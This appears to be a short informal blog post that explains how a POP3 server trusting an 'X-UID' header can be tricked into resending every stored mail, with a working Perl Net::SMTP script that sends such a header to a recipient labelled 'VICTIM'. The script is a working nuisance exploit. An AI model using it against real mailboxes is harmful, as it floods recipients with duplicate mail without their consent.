fun with pop3
Think about the pop3 Protokol for your mails:
In your mail client, there is an option: Leave Messages on server.
So, this is fine, you don’t need to download all mesages again, only the new ones.
How does it works:
The server adds an header to the mails containing an:
X-UID: number
this number is increased with each message, and your mail client, stores this number. If you fetch “new” mails, your cleint sends an: “get mail from old-number to newest one.”
So, but now.
If you send an mail containing an X-UID header with an low number, like “1″ the server sends all mails to you again..
So, if you have 1000 Mails stored on the pop3 server, your mail client will get all the mails again and you have all the mails 2 times.. so, this is one reason, why IMAP is better
to show how it works, here is a sample perl code, you can try:
#!/usr/bin/perl -w
use Net::SMTP;
$from = ‘YOU@EXAMPLE.COM’;
$to = ‘VICTIM@EXAMPLE.COM’;
$subject = ‘Read all your mails again’;
$smtp = Net::SMTP->new(’your.outgoing.mailserver’);
$smtp->mail($from);
$smtp->to($to);
$smtp->data();
$smtp->datasend(”To: < $to>\n”);
$smtp->datasend(”From: < $from>\n”);
$smtp->datasend(”Subject: $subject\n”);
$smtp->datasend(”X-UID: 1\n”);
$smtp->datasend(”Message-ID: 1\n”);
$smtp->datasend(”Stupid Bug\n”);
$smtp->dataend();
$smtp->quit;